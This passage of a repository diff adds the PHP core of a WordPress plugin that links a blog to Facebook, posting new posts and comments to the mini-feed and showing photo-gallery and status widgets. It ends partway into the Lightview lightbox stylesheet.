+Be warned, you can only send 10 post/comment notifications per 48h to your Facebook mini-feed. If you reach this limit blog will function normally but notifications will not be displayed on your Facebook mini-feed. (this is Facebook limitation)', 'Mini-Feed');
+    ?>
+    <form method="post" action="../wp-content/plugins/ferdinand-wordbook/mf_action.php">
+      <input name="_wp_http_referer" value="../../../wp-admin/admin.php?page=wpfbg_minifeed" type="hidden">
+      <table class="form-table">
+      <tbody>
+        <tr valign="top">
+          <th scope="row">Mini-Feed Items</th>
+          <td> <fieldset><legend class="hidden">Items</legend>
+          <label for="mfposts">
+          <input name="mfposts" id="mfposts" type="checkbox" onclick="mfposts_toggle()" <?php if(get_option('facebook_minifeed_posts')=='Y') {?>checked="checked"<?php }?>>
+          Send new posts to Mini-Feed</label><br>
+          <label for="mfeposts">
+          <input name="mfeposts" id="mfeposts" type="checkbox" onclick="mfeposts_toggle()" <?php if(get_option('facebook_minifeed_edit_posts')=='Y') {?>checked="checked"<?php }?>>
+          Send edited posts to Mini-Feed</label><br>
+          <label for="mfcomment">
+          <input name="mfcomment" id="mfcomment" type="checkbox" onclick="mfcomment_toggle()" <?php if(get_option('facebook_minifeed_comments')=='Y') {?>checked="checked"<?php }?>>
+          Send approved comments to Mini-Feed</label>
+          </fieldset></td>
+        </tr>
+        <tr valign="top" id="mf-post-format" <?php if(get_option('facebook_minifeed_posts')!='Y') {?>style="display:none"<? }?>>
+          <th scope="row"><label for="post-format">Post Format</label></th>
+          <td><input name="post-format" id="post-format" value="<?php echo get_option('facebook_minifeed_postformat'); ?>" size="100" type="text"></td>
+          </tr>
+
+        <tr valign="top" id="mf-edit-post-format" <?php if(get_option('facebook_minifeed_edit_posts')!='Y') {?>style="display:none"<? }?>>
+          <th scope="row"><label for="edit-post-format">Edit Post Format</label></th>
+          <td><input name="edit-post-format" id="edit-post-format" value="<?php echo get_option('facebook_minifeed_edit_postformat'); ?>" size="100" type="text"></td>
+          </tr>
+
+          <tr valign="top" id="mf-comment-format" <?php if(get_option('facebook_minifeed_comments')!='Y') {?>style="display:none"<? }?>>
+          <th scope="row"><label for="comment-format">Comment Format</label></th>
+          <td><input name="comment-format" id="comment-format" value="<?php echo get_option('facebook_minifeed_commentformat');?>" size="100" type="text"></td>
+        </tr>
+      </tbody>
+      </table>
+      <p class="submit">
+      <input name="Submit" value="Save Changes" type="submit">
+      </p>
+    </form>
+    <?php
+    $this->print_foot();
+  }
+
+	function wpfbg_identify() {
+      $this->print_head('Use this page to identify your Facebook account.<br /><br />Go to Facebook and <strong>logout</strong>. Go back here and click "Login to Facebook", popup will appear. Use that window to login to your Facebook account <strong>(be sure to check Save my login info just below password input field)</strong>. After Facebook popup tells you to close the window... do so. You should now see button "Confirm Facebook Login", click it... all done. Now your account is identified.', 'Facebook Account Setup');
+			if (!get_option('facebook_session_key'))
+			{
+		?>
+			<?php
+				$this->get_token();
+				$facebook_token = get_option('facebook_token');
+			?>
+			<div id="fbloginbtn">
+				<input class="button" onclick="open_fbwin('<?=$facebook_token?>');return false;" value="Login to Facebook" type="button">
+				<div id="fbloader_fbloginbtn" style="display:none"><img src="images/loading.gif"> Working...</div>			
+			</div>			
+			<div style="display:none" id="confirmfblogin">
+				<p>After you authorize Wordbook application and close the window, click below to confirm.</p>			
+				<span id="fbloader_confirmfblogin" style="display:none"><img src="images/loading.gif"></span>
+				<input value="Confirm Facebook Login" type="button" class="button" onclick="confirm_fblogin('<?=$facebook_token?>');">
+							
+			</div>
+			</p>
+			
+		<?php
+			} // end if, check for session key
+			else
+			{
+			$session_key = get_option('facebook_session_key');
+			$uid = get_option('facebook_uid');
+			$secret = get_option('facebook_secret');
+			$response = $this->curl_get_contents("getUserInfo.php?session_key=$session_key&uid=$uid&secret=$secret");
+			$json = new Services_JSON();
+			$ob = $json->decode($response);			
+		?>
+				<h3>Facebook: <?=$ob->name?></h3>
+				<div id="fbuser_accountbox">
+				<img class="profilepic" src="<?=$ob->pic?>" alt="<?=$ob->name?> Profile Picture">
+				<div>You have identified your Facebook account!</div>
+				<div class="buttonbar">
+				<span id="fbloader_removeaccount" style="display:none"><img src="images/loading.gif"></span>
+					<input type="button" value="Remove account" class="button" onclick="fbaccount_remove();"> 
+				</div>
+				<div class="clear"></div>
+				</div>
+		<?php
+
+			}
+    		$this->print_foot();
+	}
+	  
+	function print_blogjs($wpheader=true) {
+		?>
+		<link rel="stylesheet" type="text/css" href="<?=get_option('home')?>/wp-content/plugins/ferdinand-wordbook/lightview/css/lightview.css" />
+		<link rel="stylesheet" type="text/css" href="<?=get_option('home')?>/wp-content/plugins/ferdinand-wordbook/prototip/css/prototip.css" />
+		<link rel="stylesheet" type="text/css" href="<?=get_option('home')?>/wp-content/plugins/ferdinand-wordbook/common/fbstyle.css" />
+		<?php
+		if ($wpheader==true)
+		{
+		//wp_enqueue_script('prototype');
+		//wp_enqueue_script('scriptaculous-effects');
+		wp_enqueue_script('prototype1602','/wp-content/plugins/ferdinand-wordbook/common/prototype.js');
+		wp_enqueue_script('efects','/wp-content/plugins/ferdinand-wordbook/common/scriptaculous.js?load=effects');
+		wp_enqueue_script('lightview2','/wp-content/plugins/ferdinand-wordbook/lightview/js/lightview.js');
+		wp_enqueue_script('prototip2','/wp-content/plugins/ferdinand-wordbook/prototip/js/prototip.js');
+		}
+		else 
+		{
+		?>
+		<script type="text/javascript" src="<?=get_option('home')?>/wp-content/plugins/ferdinand-wordbook/common/prototype.js"></script>
+		<script type="text/javascript" src="<?=get_option('home')?>/wp-content/plugins/ferdinand-wordbook/common/scriptaculous.js?load=effects"></script>
+		<script type="text/javascript" src="<?=get_option('home')?>/wp-content/plugins/ferdinand-wordbook/lightview/js/lightview.js"></script>
+		<script type="text/javascript" src="<?=get_option('home')?>/wp-content/plugins/ferdinand-wordbook/prototip/js/prototip.js"></script>
+		<?	
+		}
+	}
+
+
+	function print_adminjs() {
+		?>
+		<link rel='stylesheet' href='../wp-content/plugins/ferdinand-wordbook/common/style.css' type='text/css' media='all' />
+		<?php
+		wp_enqueue_script('prototype1602','/wp-content/plugins/ferdinand-wordbook/common/prototype.js');
+		?>
+		<script>
+
+		function mfposts_toggle() {
+		          if ($('mfposts').checked==true) $('mf-post-format').show();
+		          else $('mf-post-format').hide();
+		}
+		function mfeposts_toggle() {
+		          if ($('mfeposts').checked==true) $('mf-edit-post-format').show();
+		          else $('mf-edit-post-format').hide();
+		}
+	      	function mfcomment_toggle() {
+		          if ($('mfcomment').checked==true) $('mf-comment-format').show();
+		          else $('mf-comment-format').hide();
+	      	}
+     	
+		function open_fbwin(token) {
+				window.open('http://www.facebook.com/login.php?api_key=<?=$this->api_key?>&v=1.0&auth_token='+token,null,
+				    		"height=400,width=660,status=yes,toolbar=no,menubar=no,location=no");
+				$('fbloginbtn').hide();
+				login_fbconfirm(token);
+			}
+			function login_fbconfirm(token) {
+				$('fbloginbtn').hide();
+				$('confirmfblogin').show();
+			}
+			function confirm_fblogin(token) {
+				$('fbloader_confirmfblogin').show();
+				new Ajax.Request('../wp-content/plugins/ferdinand-wordbook/ajax/getSession.php?token='+token, {
+				  method:'get',
+				  requestHeaders: {Accept: 'application/json'},
+				  onSuccess: function(transport){
+				    saving = transport.responseText;
+
+				    if (!saving.isJSON()) {
+					alert('Error: returned string is not JSON. Script sad:\n'+saving);
+				    }
+
+				    var json = transport.responseText.evalJSON(true);
+
+					if (!json.error || json.error=='') {
+						$('fbloader_confirmfblogin').hide();
+						fbreload_page();
+						return true;
+					} else {
+						$('fbloader_confirmfblogin').hide();
+						alert(json.error);
+						return false;
+					}
+				  },
+				    onFailure: function(t) {
+					alert('Error: '+t.responseText);
+				    }
+
+				});
+			}
+			function fbaccount_remove() {
+				if (!confirm("If you remove this account all data associated with it will be removed.\nAre you sure?")) return true;
+				$('fbloader_removeaccount').show();
+				new Ajax.Request('../wp-content/plugins/ferdinand-wordbook/ajax/fbaccount_remove.php', {
+				  method:'get',
+				  onSuccess: function(transport){
+					fbreload_page();
+				  }
+				});
+			}
+			function fbreload_page() {
+				location.reload(true);
+			}
+			function fb_selectAlbum(aid) {
+			  var aid = aid;
+			  albumSpan = $('album-'+aid).innerHTML;
+
+				new Ajax.Request('../wp-content/plugins/ferdinand-wordbook/ajax/addAlbum.php?aid='+aid, {
+				  method:'get',
+				  requestHeaders: {Accept: 'application/json'},
+				  onSuccess: function(transport){
+				  }
+				});
+
+			  $('album-'+aid).remove();
+			$('fb_selected').innerHTML += '<span id="album-'+aid+'">'+albumSpan+'</span>';
+			$('action-'+aid).hide();
+			$('raction-'+aid).show();
+		      }
+
+			function fb_changeStatus() {
+				newStatus = $('fbstatus').value;
+				new Ajax.Request('../wp-content/plugins/ferdinand-wordbook/ajax/changeStatus.php?ns='+newStatus, {
+				  method:'get',
+				  requestHeaders: {Accept: 'application/json'},
+				  onSuccess: function(transport){
+					fbreload_page();
+				  }
+				});
+			}
+
+		      function fb_removeAlbum(aid) {
+		       
+			var aid = aid;
+					  albumSpan = $('album-'+aid).innerHTML;
+						new Ajax.Request('../wp-content/plugins/ferdinand-wordbook/ajax/removeAlbum.php?aid='+aid, {
+						  method:'get',
+						  requestHeaders: {Accept: 'application/json'},
+						  onSuccess: function(transport){
+						  }
+						});
+					  $('album-'+aid).remove();
+			$('fb_notselected').innerHTML = '<span id="album-'+aid+'">'+albumSpan+'</span>' + $('fb_notselected').innerHTML;
+			$('raction-'+aid).hide();
+			$('action-'+aid).show();  
+		      }
+		     function request_quote() {
+			$('fbloader_rquote').show();
+			pt = $('project_type');
+			ptv = pt[pt.selectedIndex].value;
+			var prms = 'project_type='+ptv+'&other_hidden='+$('other_msg').value+'&cms_hidden='+$('cms_msg').value+'&deadline='+$('deadline').value+'&email='+$('email').value+'&name='+$('name').value;
+				new Ajax.Request('../wp-content/plugins/ferdinand-wordbook/ajax/rquote.php', {
+				  method:'post',
+				  postBody: prms,
+				  requestHeaders: {Accept: 'application/json'},
+				  onSuccess: function(transport){
+					$('fbloader_rquote').hide();
+				  }
+				});			
+			}
+		</script>
+		<?
+	}
+  function addAlbum($aid) {
+      $json = new Services_JSON();
+      if (!get_option('facebook_albums')) {
+          $albums[] = $aid;
+          $albums = $json->encode($albums);          
+          add_option("facebook_albums", $albums, '', 'yes');
+      } elseif (trim(get_option('facebook_albums'))=='') {
+          $albums[] = $aid;
+          $albums = $json->encode($albums);          
+          update_option("facebook_albums", $albums, '', 'yes');     
+      }else {
+          $albums = get_option('facebook_albums');
+          $albums = $json->decode($albums);
+          foreach($albums as $i => $album) {
+            if($album==$aid) return false;
+          }
+          $albums[] = $aid;
+          $albums = $json->encode($albums);
+          update_option("facebook_albums", $albums, '', 'yes');
+      }
+  }
+  function removeAlbum($aid) {
+      $json = new Services_JSON();
+      $albums = get_option('facebook_albums');
+      $albums = $json->decode($albums);
+      foreach($albums as $i => $album) {
+        if($album!=$aid) { 
+          $albumsx[] = $albums[$i];
+        }
+      }
+      $albums = $json->encode($albumsx);
+      update_option("facebook_albums", $albums, '', 'yes');
+  }
+  
+
+  function fb_statusWidget() {
+	$session_key = get_option('facebook_session_key');
+	$uid = get_option('facebook_uid');
+	$secret = get_option('facebook_secret');
+	$response = $this->curl_get_contents("getUserInfo.php?session_key=$session_key&uid=$uid&secret=$secret");
+	$json = new Services_JSON();
+	$ob = $json->decode($response);	
+	if ($ob->status->message=='' || !$ob->status->message) return false;
+	?>
+		<h3 class="fbstatus_title">Facebook Status</h3>
+		<strong class="fbstatus_text"><?=$ob->status->message?></strong>
+		<span class="fbstatus_time"><?=ucwords(ezDate($ob->status->time)).' Ago';?></span>
+	</ul>
+	<?php
+  }
+
+  function fb_galleryWidget() {
+      $json = new Services_JSON();
+
+      $photos = $json->decode(trim($this->fb_formWidgetPicsArr()));
+
+      $columns = (int)get_option('facebook_gallery_widget_colums');
+      $rows = (int)get_option('facebook_gallery_widget_rows');
+      $spacing = get_option('facebook_gallery_widget_spacing');
+      $padding = get_option('facebook_gallery_widget_padding');
+      $title = get_option('facebook_gallery_widget_title');
+      $class = get_option('facebook_gallery_widget_class');
+      $height = get_option('facebook_gallery_widget_height');
+      $width = get_option('facebook_gallery_widget_width');
+      $table = '<h3>'.$title.'</h3><table class="'.$class.'" cellspacing="'.$spacing.'" cellpadding="'.$padding.'">';
+      $last = -1;
+
+      foreach($photos as $key=>$photo) {
+          
+          if ($key>$last) {
+		$table .= '<tr>';
+            for($y=0;$y<$columns;$y++) {
+		unset($myarr);
+		$myarr['imgsrc']=$photos[$key+$y]->src_big;
+		$myarr['id'] = $key+$y;
+		$photos[$key+$y]->src_small = get_option('home').'/wp-content/plugins/ferdinand-wordbook/phpthumb/phpThumb.php?src='.$photos[$key+$y]->src.'&w='.$width.'&h='.$height.'&zc=1"';
+		if ($photos[$key+$y]->coords){
+		foreach($photos[$key+$y]->coords as $coord) {
+			$myarr['xcoord'][] = $coord->xcoord;
+			$myarr['ycoord'][] = $coord->ycoord;
+			$myarr['caption'][] = $coord->text;
+		}
+		}
+		$s = @getimagesize($photos[$key+$y]->src_big);
+		$v = urlencode($json->encode($myarr));
+		if ($photos[$key+$y]->src) {
+                $table .= '
+		<td valign="top">
+		        <a rel="iframe" title=\''.$photos[$key+$y]->caption.' :: :: width: '.$s[0].', height: '.$s[1].', topclose: true\' href="'.get_option('home').'/wp-content/plugins/ferdinand-wordbook/mapimg.php?v='.$v.'" class="lightview">
+			<img class="fbwidget" alt="'.$photos[$key+$y]->caption.'" title="'.$photos[$key+$y]->caption.'" src="'.$photos[$key+$y]->src_small.'">
+			</a>           
+		</td>';
+		} else {
+			$table .='<tr></tr>';
+		}
+                $last = $key+$y;
+		
+            }
+		$table .= '</tr>';
+          }
+          
+      }
+      $table .= '</table>';
+      echo $table;
+  }
+  
+  function fb_formWidgetPicsArr() {
+    if (get_option('facebook_albums')=='null' || !get_option('facebook_albums')) {
+        $post_var=-1;
+    } else {
+      	$post_var = get_option('facebook_albums');
+    }
+      $limit = (int)get_option('facebook_gallery_widget_colums')*(int)get_option('facebook_gallery_widget_rows');
+			$session_key = get_option('facebook_session_key');
+			$uid = get_option('facebook_uid');
+			$secret = get_option('facebook_secret');   
+
+      $post_vars =array(
+            'json' => $post_var,
+            'limit'=>$limit,
+            'session_key' => $session_key,
+            'uid' => $uid,
+            'secret' => $secret
+          );
+      return $this->curl_get_contents("getPhotos.php", $post_vars);
+  }
+  
+	function getSession($token) {
+		$json = new Services_JSON();
+		//die($this->app_url."getSession.php?token=$token");
+		$response = trim($this->curl_get_contents("getSession.php?token=$token"));
+		$arr = $json->decode($response);
+		if ((int)$arr->expires!=0) {
+			return $json->encode(array("error"=>"There has been an error\nPlease fallow these steps:\n1. Logout from Facebook\n2. Click Add FB Photobook in Wordpress Admin Panel\n3. In popup window login to Facebook, IMPORTANT: check checkbox to allow Facebook to remember you\n4. Add FB Photobook\n5. Close Facebook popup window\n6.Click \"Confirm Facebook Login\" button"));
+		} else {
+			if (!get_option('facebook_session_key')) 
+			{
+				add_option("facebook_session_key", $arr->session_key, '', 'yes');
+			} else {
+				update_option("facebook_session_key", $arr->session_key, '', 'yes');
+			}
+			if (!get_option('facebook_uid')) 
+			{
+				add_option("facebook_uid", $arr->uid, '', 'yes');
+			} else {
+				update_option("facebook_uid", $arr->uid, '', 'yes');
+			}	
+			if (!get_option('facebook_secret')) 
+			{
+				add_option("facebook_secret", $arr->secret, '', 'yes');
+			} else {
+				update_option("facebook_secret", $arr->secret, '', 'yes');
+			}
+			$this->install();
+		    return $json->encode($arr);
+		}
+	}
+	
+	function post2minifeed($post_id) {
+	    global $wpdb;
+	      $post = get_post($post_id, OBJECT);
+
+	      $user = get_userdata($post->post_author);
+	      $terminfo = $wpdb->get_results("SELECT term_id
+		                          FROM ".$wpdb->term_relationships.", ".$wpdb->term_taxonomy."
+		                          WHERE object_ID = ".$post_id." 
+		                          AND ".$wpdb->term_taxonomy.".term_taxonomy_ID = ".$wpdb->term_relationships.".term_taxonomy_ID
+		                          ORDER BY term_ID LIMIT 1");
+	      $termrecord = $terminfo[0];
+	      $category = get_category($termrecord->term_id,OBJECT);
+
+
+	       $permalink = get_permalink($post_id);
+          
+		 $mf_postslug = get_option('facebook_minifeed_postformat');
+	     
+	      $replacements = array($permalink, $post->post_title, $category->category_nicename, get_bloginfo(), $user->user_nicename, '');
+	      $slug = str_replace($this->mf_tags, $replacements, $mf_postslug);
+	      
+	      $bbcode = new bbcode(); 
+	      $bbcode->add_tag(array('Name'=>'link','HasParam'=>true,'HtmlBegin'=>'<a href="%%P%%">','HtmlEnd'=>'</a>')); 
+	      $bbcode->add_alias('url','link');
+	      $slug_final = $bbcode->parse_bbcode($slug);
+	    //  die(print_r($slug_final));
+				$session_key = get_option('facebook_session_key');
+				$uid = get_option('facebook_uid');
+				$secret = get_option('facebook_secret');   
+
+	      	$post_vars =array(
+		    'slug' => $slug_final,
+		    'session_key' => $session_key,
+		    'uid' => $uid,
+		    'secret' => $secret
+		  );
+		$out = $this->base_curl("post2mf.php", $post_vars);	
+		//die("Content: ".$out);
+  }
+	function send2feed($new_status, $old_status, $post) {
+		global $wpdb;
+
+
+		if ($new_status == 'publish' && get_option('facebook_minifeed_posts')=='Y') {
+			$this->post2minifeed($post->ID);
+			return true;
+		} elseif ($new_status == 'inherit' && get_option('facebook_minifeed_edit_posts')=='Y') {
+			$this->epost2minifeed($post->ID);
+			return true;
+		} else {
+			return false;
+		}
+	}
+
+	function epost2minifeed($post_id) {
+	    global $wpdb;
+	      $post = get_post($post_id, OBJECT);
+
+	      $user = get_userdata($post->post_author);
+	      $terminfo = $wpdb->get_results("SELECT term_id
+		                          FROM ".$wpdb->term_relationships.", ".$wpdb->term_taxonomy."
+		                          WHERE object_ID = ".$post_id." 
+		                          AND ".$wpdb->term_taxonomy.".term_taxonomy_ID = ".$wpdb->term_relationships.".term_taxonomy_ID
+		                          ORDER BY term_ID LIMIT 1");
+	      $termrecord = $terminfo[0];
+	      $category = get_category($termrecord->term_id,OBJECT);
+
+
+	      $permalink = get_permalink($post_id);
+
+		 $mf_postslug = get_option('facebook_minifeed_edit_postformat');
+
+	      $replacements = array($permalink, $post->post_title, $category->category_nicename, get_bloginfo(), $user->user_nicename, '');
+	      $slug = str_replace($this->mf_tags, $replacements, $mf_postslug);
+	      $bbcode = new bbcode(); 
+	      $bbcode->add_tag(array('Name'=>'link','HasParam'=>true,'HtmlBegin'=>'<a href="%%P%%">','HtmlEnd'=>'</a>')); 
+	      $bbcode->add_alias('url','link');
+	      $slug_final = $bbcode->parse_bbcode($slug);
+	      
+				$session_key = get_option('facebook_session_key');
+				$uid = get_option('facebook_uid');
+				$secret = get_option('facebook_secret');   
+
+	      	$post_vars =array(
+		    'slug' => $slug_final,
+		    'session_key' => $session_key,
+		    'uid' => $uid,
+		    'secret' => $secret
+		  );
+		$out = $this->base_curl("post2mf.php", $post_vars);	
+		//die("Content: ".$out);
+  }
+	function comment2minifeed($comment_id, $status) {
+	    global $wpdb;
+
+	    if ($status!=1) return false;
+	    $comment = get_comment($comment_id);
+	    $post_id = $comment->comment_post_ID;
+      $post = get_post($post_id, OBJECT);
+      $user = get_userdata($post->post_author);
+
+      $terminfo = $wpdb->get_results("SELECT term_id
+                                  FROM $wpdb->term_relationships, $wpdb->term_taxonomy
+                                  WHERE object_ID = $post_id 
+                                  AND $wpdb->term_taxonomy.term_taxonomy_ID = $wpdb->term_relationships.term_taxonomy_ID
+                                  ORDER BY term_ID LIMIT 1");
+      $termrecord = $terminfo[0];
+      $category = get_category($termrecord->term_id,OBJECT);
+
+      $permalink = get_permalink($post_id);
+     
+      $mf_postslug = get_option('facebook_minifeed_commentformat');
+      $replacements = array($permalink, $post->post_title, $category->category_nicename, get_bloginfo(), $user->user_nicename, $comment->comment_author);
+
+      $slug = str_replace($this->mf_tags, $replacements, $mf_postslug);
+      $bbcode = new bbcode(); 
+      $bbcode->add_tag(array('Name'=>'link','HasParam'=>true,'HtmlBegin'=>'<a href="%%P%%">','HtmlEnd'=>'</a>')); 
+      $bbcode->add_alias('url','link');
+      $slug_final = $bbcode->parse_bbcode($slug);
+      
+			$session_key = get_option('facebook_session_key');
+			$uid = get_option('facebook_uid');
+			$secret = get_option('facebook_secret');   
+
+	$this->curl_get_contents("comment2mf.php", $post_vars);
+
+      $post_vars =array(
+            'slug' => $slug_final,
+            'session_key' => $session_key,
+            'uid' => $uid,
+            'secret' => $secret
+          );
+	$out = $this->base_curl("post2mf.php", $post_vars);
+  }
+
+	function commentApproved($comment_id, $status) {
+		global $wpdb;
+		if ($status == 'approve') {
+			$this->comment2minifeed($comment_id, 1);
+		}
+	}
+
+
+	/*function friends_comment($comment_id, $status) {
+		if ($status==1) return true;
+
+		$comment = get_comment($comment_id);
+		$session_key = get_option('facebook_session_key');
+		$uid = get_option('facebook_uid');
+		$secret = get_option('facebook_secret');   
+
+		$post_vars =array(
+            	'email' => $comment_author_email,
+            	'session_key' => $session_key,
+            	'uid' => $uid,
+            	'secret' => $secret
+          	);
+
+		echo "?";
+		$out = $this->curl_get_contents("is_friend.php", $post_vars);
+
+		print_r($out);
+		die();
+	}*/
+
+	function curl_get_contents($url, $post_vars=array()) {
+
+		$cache_object = &new file_cache_class;
+		$cache_object->path = dirname(__FILE__).'/cache/'.md5($url.implode('',$post_vars)).'.cache';
+		$success=$cache_object->updating($updating);
+		if (!file_exists($cache_object->path)) {
+			$h = fopen($cache_object->path, 'x+');
+			fclose($h);
+		}
+		if($success) {
+			if ($updating) {
+				$out = $this->base_curl($url, $post_vars);
+			} else {
+				$success=$cache_object->verifycache($updated);
+				if($success) { // is cache free to access
+					if($updated) { //is cache up-to-date
+						$endofcache=0;
+						for(;!$endofcache;)
+						{
+							$success=$cache_object->retrievefromcache($out,$endofcache);
+							if(!($success)) {
+								break;
+							}
+						}
+					} else {
+						$cache_object->setexpirytime($this->cachetimeout);
+						$out = $this->base_curl($url, $post_vars);
+						$success=$cache_object->storedata($out,1);
+						if (!$success) {
+							//echo $cache_object->error;
+						}
+					}
+				}
+			}
+		}
+		if ($cache_object->error && $this->debug==1) {
+			echo $cache_object->error;
+		}
+		return $out;
+	}
+
+	function base_curl($url, $post_vars=array()) {
+		//echo $this->app_url.$url;
+		ob_start();
+		      $ch = curl_init();
+		      curl_setopt($ch, CURLOPT_URL, $this->app_url.$url);
+		if (sizeof($post_vars)!=0) {
+		      curl_setopt($ch, CURLOPT_POST, 1);
+		      curl_setopt($ch, CURLOPT_POSTFIELDS, $post_vars);
+		}
+		ob_end_clean();	
+		ob_start();
+		      
+		      curl_exec($ch);
+		      $out = ob_get_contents();
+		      ob_end_clean();
+		      curl_close ($ch);
+		      return $out;
+	}
+
+
+	function map_Start($image_filename,$id) {
+		echo "<div id=\"lv$id\">";
+		echo "<img src='$image_filename' border='0' usemap='#mapname'>\n<map name='mapname'>\n";
+	}
+	function map_End() {
+		echo "</map>\n";
+		echo "</div>";
+	}
+
+	function map_Entry($text, $x, $y, $width, $height, $id) {
+		$text = addslashes($text);
+		$x = $x - 70;
+		$y = $y - 70;
+		$x2 = $x + 150;
+		$y2 = $y + 150;
+		echo "<area id='$id$x$y' shape='rect' coords='$x,$y,$x2,$y2' href='#' onclick='return false'>\n";
+		echo "<script>new Tip('$id$x$y', '$text', {className: 'fbtip'});</script>\n";     
+
+	}
+} // end main class
+require_once('facebook.php');
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/lightview/css/lightview.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/lightview/css/lightview.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/lightview/css/lightview.css	(revision 44)
@@ -0,0 +1,386 @@
+/* lightview.css
+   http://www.nickstakenburg.com/projects/lightview
+*/
+
+#lightview {
+	position: absolute;
+	top: 50%;
+	left: 50%;
+	height: 150px;
+	width: 150px;
+	margin: -75px 0 0 -75px;
+	padding: 0;
+}
+
+/* The container that holds everything */
+.lv_Container {
+	position: relative;
+	width: 100%;
+	height: 100%;
+	background: none;
+	padding: 0;
+	margin: 0;
+}
+
+.lv_Button {
+	cursor: pointer;
+	text-decoration: none;
+	border: none;
+	background: none;
+	margin: 0;
+	padding: 0;
+}
+
+/* The buttons on the side when you view a gallery */
+.lv_Sides {
+	position: absolute;
+	top: 50%;
+	left: 0;
+	clear: both;
+	width: 100%;
+	padding: 0;
+	margin: 0;
+}
+.lv_Sides * { padding: 0; margin: 0; }
+.lv_Sides li {
+	list-style-type: none;
+	position: relative;
+}
+
+.lv_PrevSide { float: left; }
+.lv_NextSide { float: right; }
+.lv_Sides .lv_Wrapper {
+	width: 100%;
+	height: 100%;
+	cursor: pointer;
+}
+.lv_Sides .lv_Button {
+	float: left;
+	background: none;
+}
+
+/* The frames above and below the center, that hold the corners.
+   It's recommended not to change anything here, a lot is done in
+   javascript to build further upon this based on your settings.
+*/
+.lv_Frames {
+	width: 100%;
+	height: 100%;
+	position: relative;
+	padding: 0;
+	margin: 0;
+}
+.lv_Frames li {
+  list-style-type: none;
+  margin: 0;
+  padding: 0;
+}
+.lv_Frame {
+	width: 100%;
+	display: block;
+}
+.lv_Frame * { padding: 0; margin: 0; }
+.lv_FrameTop {
+	position: absolute;
+	left: 0;
+	width: 100%;
+	display: block;
+}
+.lv_FrameBottom {
+	position: relative;
+	float: left;
+	clear: both;
+}
+
+.lv_Liquid {
+	position: relative;
+	float: left;
+	width: 100%;
+	overflow: hidden;
+	clear: both;
+}
+.lv_Liquid .lv_Filler {
+	position: absolute;
+	height: 100%;
+	width: 2px;
+	top: 0;
+	left: 50%;
+}
+
+.lv_Half {
+	display: block;
+	height: 100%;
+	clear: both;
+	line-height: 0px;
+}
+.lv_Half li { list-style-type: none; }
+.lv_Corner {
+	float: left;
+	position: relative;
+}
+.lv_CornerTr, .lv_CornerBr { float: right; }
+
+.lv_Fill {
+	position: absolute;
+	top: 0;
+	width: 100%;
+	height: 100%;
+}
+
+.lv_Half .lv_CornerWrapper {
+	float: left;
+	position: relative;
+	width: 50%;
+	height: 100%;
+	overflow: hidden;
+}
+.lv_HalfRight .lv_CornerWrapper { float: right; }
+
+.lv_Corner { position: relative; }
+.lv_Corner canvas { position: relative; }
+.lv_HalfLeft .lv_Corner { float: left; }
+.lv_HalfRight .lv_Corner {
+	position: relative;
+	float: right;
+}
+
+/* To position content correctly in the center with correct
+   rounded corner display we need a few wrappers.
+   This is to get it right on all browsers.
+*/
+.lv_Center {
+	position: relative;
+	clear: both;
+	height: 100%;
+	overflow: hidden;
+	background: none;
+	padding: 0;
+	margin: 0;
+}
+.lv_WrapUp {
+	position: absolute;
+	left: 0;
+	height: 100%;
+	width: 100%;
+	overflow: hidden;
+	padding: 0;
+	margin: 0;
+}
+.lv_WrapDown {
+	position: relative;
+	height: 100%;
+	width: 100%;
+	overflow: hidden;
+	padding: 0;
+	margin: 0;
+}
+.lv_WrapCenter {
+	position: relative;
+	padding: 0;
+	margin: 0;
+}
+
+/* The loading indicator */
+.lv_Loading {
+	position: absolute;
+	top: 50%;
+	left: 50%;
+}
+.lv_Loading .lv_Button {
+	float: left;
+	height: 100%;
+	width: 100%;
+}
+
+.lv_MediaWrapper {
+	position: relative;
+	width: 100%;
+	display: block;
+	overflow: hidden;
+	clear: both;
+	padding: 0;
+	margin: 0;
+}
+.lv_MediaWrapper img {
+	position: relative;
+	float: left;
+	padding: 0;
+	margin: 0;
+}
+
+/* The overlays on top of images that toggle the previous/next buttons */
+.lv_PrevNext {
+	position: absolute;
+	top: 0;
+	left: 0;
+	width: 100%;
+	height: 100%;
+	padding: 0;
+	margin: 0;
+}
+.lv_PrevNext * { padding: 0; margin: 0; }
+.lv_PrevNext .lv_Button {
+	position: relative;
+	height: 100%;
+}
+.lv_PrevButton { float: left; }
+.lv_NextButton { float: right; }
+
+/* The bar that holds title, caption, imagenumber, slideshow and closebutton */
+.lv_MenuBar {
+	clear: both;
+	position: relative;
+	width: 100%;
+	float: left;
+	font: 11px Arial, Helvetica, sans-serif;
+	color: #808080;
+	padding: 0;
+	margin: 0;
+	text-align:left;
+}
+.lv_MenuBar * { padding: 0; margin: 0; }
+
+/* When the Menubar is at the top, on (ajax/iframe/inline) content,
+   it will also have this style.
+   The margins are removed here for better alignment, and since it's
+   at the top we switch the inner margins to the other side.
+*/
+.lv_MenuTop .lv_DataText div,
+.lv_MenuTop .lv_ImgNumber div { margin: 0; padding: 0; }
+#lightview .lv_MenuTop .lv_Close, 
+#lightview .lv_MenuTop .lv_Data { margin: 0 0 6px 0; }
+
+.lv_Close, .lv_Data { margin: 6px 0 0 0; }
+.lv_Close {
+    position: relative;
+	float: right;
+	overflow: hidden;
+	width: 100%;
+	height: 100%;
+}
+
+.lv_Data {
+	position: relative;
+	float: left;
+	padding-bottom: 3px;
+	line-height: 13px;
+}
+
+/* simulates padding-left inside .lv_Data */
+.lv_DataText div, .lv_ImgNumber div { margin-left: 3px; }
+
+.lv_Data li {
+	list-style-type: none;
+	float: left;
+	margin-top: 3px;
+}
+.lv_DataText { width: 100%; }
+.lv_DataText .lv_Title {
+	font-weight: bold;
+	margin-bottom: 2px;
+}
+.lv_DataText .lv_Caption { clear: both; }
+.lv_Data .lv_ImgNumber {
+	color: #b8b8b8;
+	margin-right: 5px;
+	margin-top: 5px;
+}
+
+.lv_Data .lv_innerPrevNext, 
+.lv_Data .lv_Slideshow {
+	position: relative;
+	border-left: 1px solid #efefef;
+	padding: 0 5px;
+	margin-top: 5px;
+	vertical-align: middle;
+}
+.lv_Data .lv_Slideshow { padding-right: 0px; }
+
+.lv_Data .lv_innerPrevNext .lv_Button, 
